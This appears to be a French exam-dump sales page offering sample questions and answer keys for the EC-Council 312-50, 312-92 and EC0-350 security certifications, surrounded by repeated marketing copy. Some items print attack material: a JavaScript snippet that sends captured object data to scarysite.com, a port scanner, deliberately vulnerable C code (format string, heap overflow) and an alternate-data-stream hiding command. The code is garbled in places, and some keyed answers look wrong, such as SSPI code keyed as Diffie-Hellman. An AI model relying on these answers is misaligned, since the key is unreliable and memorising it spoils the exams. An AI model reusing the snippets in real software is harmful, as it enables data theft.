your suspicion about 0xde.0xad.0xbde.0xef which looks like hexadecimal numbers.
You immediately enter the following at Windows 2000 command prompt:
Ping0xde.0xad.0xbe.0xef
You get a response with a valid IP address.
What is the obstructed IP address in the e-mail URL?
A. 222.173.190.239
B. 233.34.45.64
C. 54.23.56.55
D. 199.223.23.45
Answer: A

EC-COUNCIL examen   312-50   312-50   312-50 examen

NO.5 What is the essential difference between an 'Ethical Hacker' and a 'Cracker'?
A. The ethical hacker does not use the same techniques or skills as a cracker.
B. The ethical hacker does it strictly for financial motives unlike a cracker.
C. The ethical hacker has authorization from the owner of the target.
D. The ethical hacker is just a cracker who is getting paid.
Answer: C

EC-COUNCIL   312-50   312-50   certification 312-50   312-50

NO.6 According to the CEH methodology, what is the next step to be performed after
footprinting?
A. Enumeration
B. Scanning
C. System Hacking
D. Social Engineering
E. Expanding Influence
Answer: B

EC-COUNCIL   312-50   certification 312-50   312-50 examen   certification 312-50

NO.7 What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Answer: A

EC-COUNCIL   312-50   certification 312-50   312-50

NO.8 Where should a security tester be looking for information that could be used by an
attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites
E. Search engines
F. Organization's own web site
Answer: A, B, C, D, E, F

EC-COUNCIL examen   312-50 examen   312-50 examen

NO.9 Your Certkiller trainee Sandra asks you which are the four existing Regional
Internet Registry (RIR's)?
A. APNIC, PICNIC, ARIN, LACNIC
B. RIPE NCC, LACNIC, ARIN, APNIC
C. RIPE NCC, NANIC, ARIN, APNIC
D. RIPE NCC, ARIN, APNIC, LATNIC
Answer: B

EC-COUNCIL   certification 312-50   312-50   312-50

NO.10 Snort has been used to capture packets on the network. On studying the packets, the
penetration tester finds it to be abnormal. If you were the penetration tester, why
would you find this abnormal?
(Note: The student is being tested on concept learnt during passive OS
fingerprinting, basic TCP/IP connection concepts and the ability to read packet
signatures from a sniff dumo.)
05/20-17:06:45.061034 192.160.13.4:31337 -> 172.16.1.101:1
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seq: 0XA1D95 Ack: 0x53 Win: 0x400
...
05/20-17:06:58.685879 192.160.13.4:31337 ->
172.16.1.101:1024
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seg: 0XA1D95 Ack: 0x53 Win: 0x400
What is odd about this attack? (Choose the most appropriate statement)
A. This is not a spoofed packet as the IP stack has increasing numbers for the three flags.
B. This is back orifice activity as the scan comes from port 31337.
C. The attacker wants to avoid creating a sub-carrier connection that is not normally
valid.
D. There packets were created by a tool; they were not created by a standard IP stack.
Answer: B

certification EC-COUNCIL   312-50 examen   312-50   312-50   312-50   312-50

NO.11 A very useful resource for passively gathering information about a target company
is:
A. Host scanning
B. Whois search
C. Traceroute
D. Ping sweep
Answer: B

certification EC-COUNCIL   312-50   312-50 examen

NO.12 User which Federal Statutes does FBI investigate for computer crimes involving
e-mail scams and mail fraud?
A. 18 U.S.C 1029 Possession of Access Devices
B. 18 U.S.C 1030 Fraud and related activity in connection with computers
C. 18 U.S.C 1343 Fraud by wire, radio or television
D. 18 U.S.C 1361 Injury to Government Property
E. 18 U.S.C 1362 Government communication systems
F. 18 U.S.C 1831 Economic Espionage Act
G. 18 U.S.C 1832 Trade Secrets Act
Answer: B

EC-COUNCIL   312-50   312-50   312-50   312-50

NO.13 Which of the following activities will NOT be considered as passive footprinting?
A. Go through the rubbish to find out any information that might have been discarded.
B. Search on financial site such as Yahoo Financial to identify assets.
C. Scan the range of IP address found in the target DNS database.
D. Perform multiples queries using a search engine.
Answer: C

EC-COUNCIL   312-50 examen   312-50 examen   312-50

NO.14 You are footprinting Acme.com to gather competitive intelligence. You visit the
acme.com websire for contact information and telephone number numbers but do
not find it listed there. You know that they had the entire staff directory listed on
their website 12 months ago but now it is not there. How would it be possible for you
to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL   312-50   certification 312-50   312-50

NO.15 What does the term "Ethical Hacking" mean?
A. Someone who is hacking for ethical reasons.
B. Someone who is using his/her skills for ethical reasons.
C. Someone who is using his/her skills for defensive purposes.
D. Someone who is using his/her skills for offensive purposes.
Answer: C

EC-COUNCIL   312-50 examen   312-50

NO.16 To what does "message repudiation" refer to what concept in the realm of email
security?
A. Message repudiation means a user can validate which mail server or servers a message
was passed through.
B. Message repudiation means a user can claim damages for a mail message that
damaged their reputation.
C. Message repudiation means a recipient can be sure that a message was sent from a
particular person.
D. Message repudiation means a recipient can be sure that a message was sent from a
certain host.
E. Message repudiation means a sender can claim they did not actually send a particular
message.
Answer: E

EC-COUNCIL   certification 312-50   certification 312-50   certification 312-50   312-50

NO.17 Who is an Ethical Hacker?
A. A person whohacksfor ethical reasons
B. A person whohacksfor an ethical cause
C. A person whohacksfor defensive purposes
D. A person whohacksfor offensive purposes
Answer: C

EC-COUNCIL   312-50   312-50

NO.18 A Certkiller security System Administrator is reviewing the network system log files.
He notes the following:
- Network log files are at 5 MB at 12:00 noon.
-At 14:00 hours, the log files at 3 MB.
What should he assume has happened and what should he do about the situation?
A. He should contact the attacker's ISP as soon as possible and have the connection
disconnected.
B. He should log the event as suspicious activity, continue to investigate, and take further
steps according to site security policy.
C. He should log the file size, and archive the information, because the router crashed.
D. He should run a file system check, because the Syslog server has a self correcting file
system problem.
E. He should disconnect from the Internet discontinue any further unauthorized use,
because an attack has taken place.
Answer: B

EC-COUNCIL   312-50 examen   312-50 examen   312-50

NO.19 You are footprinting an organization to gather competitive intelligence. You visit
the company's website for contact information and telephone numbers but do not
find it listed there. You know that they had the entire staff directory listed on their
website 12 months ago but not it is not there.
How would it be possible for you to retrieve information from the website that is
outdated?
A. Visit google's search engine and view the cached copy.
B. Visit Archive.org web site to retrieve the Internet archive of the company's website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL   312-50   312-50 examen   312-50

NO.20 How does Traceroute map the route that a packet travels from point A to point B?
A. It uses a TCP Timestamp packet that will elicit a time exceed in transit message.
B. It uses a protocol that will be rejected at the gateways on its way to its destination.
C. It manipulates the value of time to live (TTL) parameter packet to elicit a time
exceeded in transit message.
D. It manipulated flags within packets to force gateways into generating error messages.
Answer: C

certification EC-COUNCIL   312-50   312-50

Vous pouvez télécharger le démo gratuit pour prendre un essai. Vous aurez plus confiance sur Pass4Test. N'hésitez plus à choisir la Q&A EC-COUNCIL 312-50 comme votre guide d'étude.

Pass4Test offre une formation sur EC-COUNCIL 312-92 matériaux examen

Bien qu'il ne soit pas facile à réussir le test EC-COUNCIL 312-92, c'est très improtant à choisir un bon outil de se former. Pass4Test a bien préparé les documentatinos et les exercices pour vous aider à réussir 100% le test. Pass4Test peut non seulement d'être une assurance du succès de votre test EC-COUNCIL 312-92, mais encore à vous aider d'économiser votre temps.

Pass4Test est un site à offrir les Q&As de tout les tests Certification IT. Chez Pass4Test, vous pouvez trouvez de meilleurs matériaux. Nos guides d'étude vous permettent de réussir le test Certification EC-COUNCIL 312-92 sans aucune doute, sinon nous allons rendre votre argent d'acheter la Q&A et la mettre à jour tout de suite, en fait, c'est une situation très rare. Bien que il existe plusieurs façons à améliorer votre concurrence de carrière, Pass4Test est lequel plus efficace : Moins d'argent et moins de temps dépensés, plus sûr à passer le test Certification. De plus, un an de service après vendre est gratuit pour vous.

Il y a plusieurs de façons pour réussir le test EC-COUNCIL 312-92, vous pouvez travailler dur et dépenser beaucoup d'argents, ou vous pouvez travailler plus efficacement avec moins temps dépensés.

Code d'Examen: 312-92
Nom d'Examen: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
Questions et réponses: 99 Q&As

Pass4Test est un fournisseur professionnel des documentations à propos du test Certification IT, avec lequel vous pouvez améliorer le future de votre carrière. Vous trouverez que nos Q&As seraient persuadantes d'après d'avoir essayer nos démos gratuits. Le démo de EC-COUNCIL 312-92 (même que les autres démos) est gratuit à télécharger. Vous n'aurez pas aucune hésitation après travailler avec notre démo.

Pass4Test a capacité d'économiser vos temps et de vous faire plus confiant à réussir le test. Vous pouvez télécharger le démo EC-COUNCIL 312-92 gratuit à connaître mieux la bonne fiabilité de Pass4Test. Nous nous font toujours confiant sur nos produits, et vous aussi dans un temps proche. La réussite de test EC-COUNCIL 312-92 n'est pas loin de vous une fois que vous choisissez le produit de Pass4Test. C'est un choix élégant pour vous faciliter à réussir le test EC-COUNCIL 312-92.

312-92 Démo gratuit à télécharger: http://www.pass4test.fr/312-92.html

NO.1 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

EC-COUNCIL examen   312-92 examen   312-92   312-92   312-92

NO.2 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

certification EC-COUNCIL   312-92   certification 312-92   312-92

NO.3 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL   312-92   312-92 examen   312-92

NO.4 Harold is programming an application that needs to be incorporate data encryption. Harold decides to
utilize an encryption algorithm that uses 4-bit working registers instead of the usual 2bit working registers.
What encryption algorithm has Harold decided to use?
A. Blowfish
B. RC5
C. RC4
D. RC6
Answer: D

certification EC-COUNCIL   312-92   312-92 examen   certification 312-92   certification 312-92

NO.5 Devon is an applications developer that just got back from a conference on how to correctly write code.
Devon has a number of programs he has written that access data across WAN links, so he is particularly
concerned about their security. Devon writes a script in C++ to check the security of the programs running
on his internal servers. What will the following code from Devon s script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}
A. Scan the perimeter firewall for DoS vulnerabilities
B. Create socket connections to the remote sites to check their security
C. Close off any ports used by malicious code
D. Scan for open ports
Answer: D

EC-COUNCIL   certification 312-92   certification 312-92   certification 312-92   312-92

NO.6 After learning from an external auditor that his code was susceptible to attack, George decided to
rewrite some of his code to look like the following. What is George preventing by changing the code?
public voif doContent(...) {
...
String s;
if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

certification EC-COUNCIL   312-92 examen   312-92 examen   312-92   312-92   certification 312-92

NO.7 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL   312-92   312-92   certification 312-92   312-92 examen

NO.8 Shayla is designing a web-based application that will pass data to and from a company extranet. This
data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital
signature to protect the data. The digital signature she has chosen to use is based on the difficulty in
computing discrete logarithms. Which digital signature has she chosen?
A. Rabin
B. Diffie-Hellman
C. SA-PSS
D. ElGamal
Answer: D

EC-COUNCIL examen   312-92   312-92   312-92 examen

NO.9 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

EC-COUNCIL   312-92   certification 312-92   312-92   312-92

NO.10 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL   certification 312-92   certification 312-92   312-92 examen   certification 312-92

NO.11 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL examen   312-92   312-92

NO.12 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL examen   certification 312-92   312-92   312-92

NO.13 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL examen   certification 312-92   312-92   certification 312-92

NO.14 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL examen   312-92 examen   312-92   312-92 examen   certification 312-92

NO.15 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

certification EC-COUNCIL   312-92   certification 312-92

Aujoud'hui, dans cette indutrie IT de plus en plus concurrentiel, le Certificat de EC-COUNCIL 312-92 peut bien prouver que vous avez une bonne concurrence et une space professionnelle plus grande à atteindre. Dans le site Pass4Test, vous pouvez trouver un outil de se former très pratique. Nos IT experts vous offrent les Q&As précises et détaillées pour faciliter votre cours de préparer le test EC-COUNCIL 312-92 qui vous amenera le succès du test EC-COUNCIL 312-92, au lieu de traivailler avec peine et sans résultat.

Dernières EC-COUNCIL EC0-350 examen pratique questions et réponses

Le test EC-COUNCIL EC0-350 est très important dans l'Industrie IT, tous les professionnels le connaîssent ce fait. D'ailleur, c'est difficile à réussir ce test, toutefois le test EC-COUNCIL EC0-350 est une bonne façon à examiner les connaissances professionnelles. Un gens avec le Certificat EC-COUNCIL EC0-350 sera apprécié par beaucoup d'entreprises. Pass4Test est un fournisseur très important parce que beaucoup de candidats qui ont déjà réussi le test preuvent que le produit de Pass4Test est effectif. Vous pouvez réussir 100% le test EC-COUNCIL EC0-350 avec l'aide de Pass4Test.

Le test certification EC-COUNCIL EC0-350 est une bonne preuve de connaissances professionnelles et la techniques. Dans l'Industrie IT, beaucoiup de humains ressource font l'accent de lesquels certificats que les volontiers obtiennent. C'est clairement que le certificat EC-COUNCIL EC0-350 puisse augmenter la compétition dans ce marché.

Pass4Test est un site de provider les chances à se former avant le test Certification IT. Il y a de différentes formations ciblées aux tous candidats. C'est plus facile à passer le test avec la formation de Pass4Test. Parmi les qui ont déjà réussi le test, la majorité a fait la préparation avec la Q&A de Pass4Test. Donc c'est pourquoi, Pass4Test a une bonne réputation dansn l'Industrie IT.

Code d'Examen: EC0-350
Nom d'Examen: EC-COUNCIL (Ethical hacking and countermeasures)
Questions et réponses: 878 Q&As

Le test EC-COUNCIL EC0-350 est une examination de techniques professionnelles dans l'Industrie IT. Pass4Test est un site qui peut vous aider à réussir le test EC-COUNCIL EC0-350 rapidement. Si vous utiliser l'outil de formation avant le test, vous apprendrez tous essences de test Certification EC-COUNCIL EC0-350.

Le temps est tellement précieux dans cette société que une bonn façon de se former avant le test EC-COUNCIL EC0-350 est très important. Pass4Test fait tous efforts à assurer tous les candidats à réussir le test. Aussi, un an de mise à jour est gratuite pour vous. Si vous ne passez pas le test, votre argent sera tout rendu.

Pass4Test est un bon catalyseur du succès pour les professionnels IT. Beaucoup de gens passer le test EC-COUNCIL EC0-350 avec l'aide de l'outil formation. Les experts profitent leurs expériences riches et connaissances à faire sortir la Q&A EC-COUNCIL EC0-350 plus nouvelle qui comprend les exercices de pratiquer et le test simulation. Vous pouvez passer le test EC-COUNCIL EC0-350 plus facilement avec la Q&A de Pass4Test.

EC0-350 Démo gratuit à télécharger: http://www.pass4test.fr/EC0-350.html

NO.1 After a client sends a connection request (SYN) packet to the server, the server will respond
(SYN-ACK) with a sequence number of its choosing, which then must be acknowledged (ACK) by
the client. This sequence number is predictable; the attack connects to a service first with its own
IP address, records the sequence number chosen, and then opens a second connection from a
forged IP address. The attack doesn't see the SYN-ACK (or any other packet) from the server, but
can guess the correct responses. If the source IP address is used for authentication, then the
attacker can use the one-sided communication to break into the server. What attacks can you
successfully launch against a server using the above technique?
A.Session Hijacking attacks
B.Denial of Service attacks
C.Web page defacement attacks
D.IP spoofing attacks
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.2 Bob is acknowledged as a hacker of repute and is popular among visitors of 'underground' sites.
Bob is willing to share his knowledge to those who are willing to learn, and many have expressed
their interest in learning from him. However, this knowledge has risks associated with it, as the
same knowledge can be used for malevolent attacks as well. In this context, what would be the
most effective method to bridge the knowledge gap between the "black" hats or crackers and the
"white" hats or computer security professionals?
A.Hire more computer security monitoring personnel to monitor computer systems and networks
B.Educate everyone with books, articles and training on risk analysis, vulnerabilities and safeguards
C.Train more national guard and reservist in the art of computer security to help out in times of emergency
or crises
D.Make obtaining either a computer security certification or accreditation easier to achieve so more
individuals feel that they are a part of something larger than life
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.3 Which of the following built-in C/C++ functions you should avoid to prevent your program from
buffer overflow attacks?
A.strcpy()
B.strcat()
C.streadd()
D.strsock()
Correct:A B C

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.4 What type of port scan is shown below? Scan directed at open port: ClientServer
192.5.2.92:4079 ---------FIN--------->192.5.2.110:23 192.5.2.92:4079 <----NO
RESPONSE------192.5.2.110:23 Scan directed at closed port: ClientServer 192.5.2.92:4079
---------FIN--------->192.5.2.110:23 192.5.2.92:4079<-----RST/ACK----------192.5.2.110:23
A.Idle Scan
B.FIN Scan
C.XMAS Scan
D.Windows Scan
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.5 Maurine is working as a security consultant for Hinklemeir Associates.She has asked the
Systems Administrator to create a group policy that would not allow null sessions on the network.
The Systems Administrator is fresh out of college and has never heard of null sessions and does
not know what they are used for. Maurine is trying to explain to the Systems Administrator that
hackers will try to create a null session when footprinting the network. Why would an attacker try
to create a null session with a computer on a network?
A.Enumerate users and shares
B.Install a backdoor for later attacks
C.Escalate his/her privileges on the target server
D.To create a user with administrative privileges for later use
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.6 Samantha has been actively scanning the client network for which she is doing a vulnerability
assessment test. While doing a port scan she notices ports open in the 135 to 139 range. What
protocol is most likely to be listening on those ports?
A.FTP
B.SMB
C.Finger
D.Samba
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.7 Eric notices repeated probes to port 1080. He learns that the protocol being used is designed to
allow a host outside of a firewall to connect transparently and securely through the firewall. He
wonders if his firewall has been breached. What would be your inference?
A.Eric's network has been penetrated by a firewall breach
B.The attacker is using the ICMP protocol to have a covert channel
C.Eric has a Wingate package providing FTP redirection on his network
D.Somebody is using SOCKS on the network to communicate through the firewall
Correct:D

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.8 Bill has successfully executed a buffer overflow against a Windows IIS web server. He has been
able to spawn an interactive shell and plans to deface the main web page. He first attempts to use
the "Echo" command to simply overwrite index.html and remains unsuccessful. He then attempts
to delete the page and achieves no progress. Finally, he tries to overwrite it with another page in
which also he remains unsuccessful. What is the probable cause of Bill's problem?
A.The system is a honeypot
B.The HTML file has permissions of read only
C.You cannot use a buffer overflow to deface a web page
D.There is a problem with the shell and he needs to run the attack again
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.9 Clive is conducting a pen-test and has just port scanned a system on the network. He has
identified the operating system as Linux and been able to elicit responses from ports 23, 25 and
53. He infers port 23 as running Telnet service, port 25 as running SMTP service and port 53 as
running DNS service. The client confirms these findings and attests to the current availability of
the services. When he tries to telnet to port 23 or 25, he gets a blank screen in response. On
typing other commands, he sees only blank spaces or underscores symbols on the screen. What
are you most likely to infer from this?
A.The services are protected by TCP wrappers
B.There is a honeypot running on the scanned machine
C.An attacker has replaced the services with trojaned ones
D.This indicates that the telnet and SMTP server have crashed
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.10 Bill has started to notice some slowness on his network when trying to update his company's
website and while trying to access the website from the Internet. Bill asks the help desk manager
if he has received any calls about slowness from the end users, but the help desk manager says
that he has not. Bill receives a number of calls from customers that cannot access the company
website and cannot purchase anything online. Bill logs on to a couple of his routers and notices
that the logs show network traffic is at an all time high.?He also notices that almost all the traffic
is originating from a specific address. Bill decides to use Geotrace to find out where the suspect
IP is originates from. The Geotrace utility runs a traceroute and finds that the IP is coming from
Panama.?Bill knows that none of his customers are in Panama so he immediately thinks that his
company is under a Denial of Service attack. Now Bill needs to find out more about the originating
IP address. What Internet registry should Bill look in to find the IP address?
A.LACNIC
B.ARIN
C.RIPE LACNIC
D.APNIC
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.11 Lori has just been tasked by her supervisor toonduct vulnerability scan on the corporate
network.She has been instructed to perform a very thorough test of the network to ensure that
there are no security holes on any of the machines.Lori's company does not own any commercial
scanning products, so she decides to download a free one off the Internet.Lori has never done a
vulnerability scan before, so she is unsure of some of the settings available in the software she
downloaded.One of the options is to choose which ports that can be scanned.Lori wants to do
exactly what her boss has told her, but she does not know what ports should be scanned. If Lori is
supposed to scan all known TCP ports, how many ports should she select in the software?
A.65536
B.1024
C.1025
D.Lori should not scan TCP ports, only UDP ports
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.12 A program that defends against a port scanner will attempt to:
A.Sends back bogus data to the port scanner
B.Log a violation and recommend use of security-auditing tools
C.Limit access by the scanning system to publicly available ports only
D.Update a firewall rule in real time to prevent the port scan from being completed
Correct:D

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.13 What is the purpose of firewalking?
A.It's a technique used to map routers on a network link
B.It's a technique used to discover Wireless network on foot
C.It's a technique used to discover interface in promiscuous mode
D.It's a technique used to discover what rules are configured on a gateway
Correct:D

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.14 Which programming language is NOT vulnerable to buffer overflow attacks?
A.Java
B.ActiveX
C.C++
D.Assembly Language
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.15 What file system vulnerability does the following command take advantage of? type
c:\anyfile.exe > c:\winnt\system32\calc.exe:anyfile.exe
A.HFS
B.ADS
C.NTFS
D.Backdoor access
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.16 Samuel is the network administrator of DataX Communications, Inc. He is trying to configure his
firewall to block password brute force attempts on his network. He enables blocking the intruder's
IP address for a period of 24 hours time after more than three unsuccessful attempts. He is
confident that this rule will secure his network from hackers on the Internet. But he still receives
hundreds of thousands brute-force attempts generated from various IP addresses around the
world. After some investigation he realizes that the intruders are using a proxy somewhere else
on the Internet which has been scripted to enable the random usage of various proxies on each
request so as not to get caught by the firewall rule. Later he adds another rule to his firewall and
enables small sleep on the password attempt so that if the password is incorrect, it would take 45
seconds to return to the user to begin another attempt. Since an intruder may use multiple
machines to brute force the password, he also throttles the number of connections that will be
prepared to accept from a particular IP address. This action will slow the intruder's attempts.
Samuel wants to completely block hackers brute force attempts on his network. What are the
alternatives to defending against possible brute-force password attacks on his site?
A.Enforce a password policy and use account lockouts after three wrong logon attempts even though this
might lock out legit users
B.Enable the IDS to monitor the intrusion attempts and alert you by e-mail about the IP address of the
intruder so that you can block them at the Firewall manually
C.Enforce complex password policy on your network so that passwords are more difficult to brute force
D.You cannot completely block the intruders attempt if they constantly switch proxies
Correct:D

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.17 Why is Social Engineering considered attractive by hackers and commonly done by experts in
the field?
A.It is not considered illegal
B.It is done by well-known hackers
C.It is easy and extremely effective to gain information
D.It does not require a computer in order to commit a crime
Correct:C

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.18 Mark works as a contractor for the Department of Defense and is in charge of network security.
He has spent the last month securing access to his network from all possible entry points. He has
segmented his network into several subnets and has installed firewalls all over the network. He
has placed very stringent rules on all the firewalls, blocking everything in and out except ports
that must be used. He does need to have port 80 open since his company hosts a website that
must be accessed from the Internet. Mark is fairly confident of his perimeter defenses, but is still
worried about programs like Hping2 that can get into a network through covert channels. How
should mark protect his network from an attacker using Hping2 to scan his internal network?
A.Block ICMP type 13 messages
B.Block all incoming traffic on port 53
C.Block all outgoing traffic on port 53
D.Use stateful inspection on the firewalls
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.19 Travis works primarily from home as a medical transcriptionist. He just bought a brand new
Dual Core Pentium computer with over 3 GB of RAM. He uses voice recognition software to help
him transfer what he dictates to electronic documents. The voice recognition software is
processor intensive, which is why he bought the new computer. Travis frequently has to get on
the Internet to do research on what he is working on. After about two months of working on his
new computer, he notices that it is not running nearly as fast as it used to. Travis uses antivirus
software, anti-spyware software, and always keeps the computer up-to-date with Microsoft
patches. After another month of working on the computer, Travis' computer is even more
noticeably slow. Every once in awhile, Travis also notices a window or two pop-up on his screen,
but they quickly disappear.He has seen these windows show up, even when he has not been on
the Internet. Travis is really worried about his computer because he spent a lot of money on it, and
he depends on it to work. Travis scans his computer with all kinds of software, and cannot find
anything out of the ordinary. Travis decides to go through Windows Explorer and check out the
file system, folder by folder, to see if there is anything he can find. He spends over four hours
pouring over the files and folders and cannot find anything.But, before he gives up, he notices
that his computer only has about 10 GB of free space available.Since his hard drive is a 200 GB
hard drive, Travis thinks this is very odd. Travis downloads Space Monger and adds up the sizes
for all the folders and files on his computer. According to his calculations, he should have around
150 GB of free space. What is mostly likely the cause of Travis' problems?
A.Travis's computer is infected with stealth kernel level rootkit
B.Travis's computer is infected with Stealth Trojan Virus
C.Travis's computer is infected with Self-Replication Worm that fills the hard disk space
D.Logic Bomb is triggered at random times creating hidden data consuming junk files
Correct:A

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

NO.20 A client has approached you with a penetration test requirement. They are concerned with the
possibility of external threat, and have invested considerable resources in protecting their
Internet exposure. However, their main concern is the possibility of an employee elevating his/her
privileges and gaining access to information outside of their department. What kind of penetration
test would you recommend that would best address the client's concern?
A.A Grey Hat test
B.A Grey Box test
C.A Black Hat test
D.A White Hat test
E.A Black Box test
F.A White Box test
Correct:B

EC-COUNCIL examen   EC0-350   EC0-350 examen   EC0-350

Pass4Test est un fournisseur de formation pour une courte terme, et Pass4Test peut vous assurer le succès de test EC-COUNCIL EC0-350. Si malheureusement, vous échouez le test, votre argent sera tout rendu. Vous pouvez télécharger le démo gratuit avant de choisir Pass4Test. Au moment là, vous serez confiant sur Pass4Test.

Certification EC-COUNCIL de téléchargement gratuit pratique d'examen 312-50v7, questions et réponses

